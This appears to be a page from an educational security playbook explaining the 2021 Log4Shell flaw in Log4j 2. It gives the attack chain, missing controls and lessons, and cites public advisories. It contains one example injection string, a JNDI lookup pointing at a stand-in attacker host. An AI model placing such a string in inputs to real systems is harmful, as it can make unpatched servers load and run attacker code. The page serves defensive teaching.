Security Playbook
← All breaches
2021Log4j (Log4Shell)

Log4Shell: logging a string ran attacker code

A feature in Log4j 2 evaluated lookups inside logged messages. Logging something like ${jndi:ldap://attacker/x} made the server connect out and load code. Because almost every Java app logs user input, the bug was everywhere at once.

ImpactNot a single breach but a global incident (CVE-2021-44228): mass scanning started within hours and it was used for crypto-mining, ransomware and espionage.

Attack chain

  1. 1
    Attacker string in any logged field

    User-Agent headers, usernames, chat messages, search boxes: anything that ends up in a log line.

  2. 2
    Vulnerable Log4j evaluates the lookup

    Versions before the fix interpreted ${jndi:...} inside the message instead of treating it as text.

  3. 3
    Server connects out to the attacker

    The JNDI lookup made an outbound LDAP (or similar) connection to an attacker-controlled host.

  4. 4
    Remote code runs on the server

    The response could lead the application to load and run attacker code with the app's permissions.

Nothing stopped it: breach

Controls that were missing

Lessons

  • 01Logging user input is normal; a logger that interprets it is injection.
  • 02You can't patch what you don't know you run: keep an SBOM.
  • 03Egress filtering turns many remote-code bugs into dead ends.

Based on public reports

  • · Apache Log4j security advisories (CVE-2021-44228, 2021)
  • · CISA, Apache Log4j Vulnerability Guidance (2021)
Next: Uber 2022: MFA fatigue and a script full of secrets →

Check your understanding

1 of 3

What made Log4Shell possible?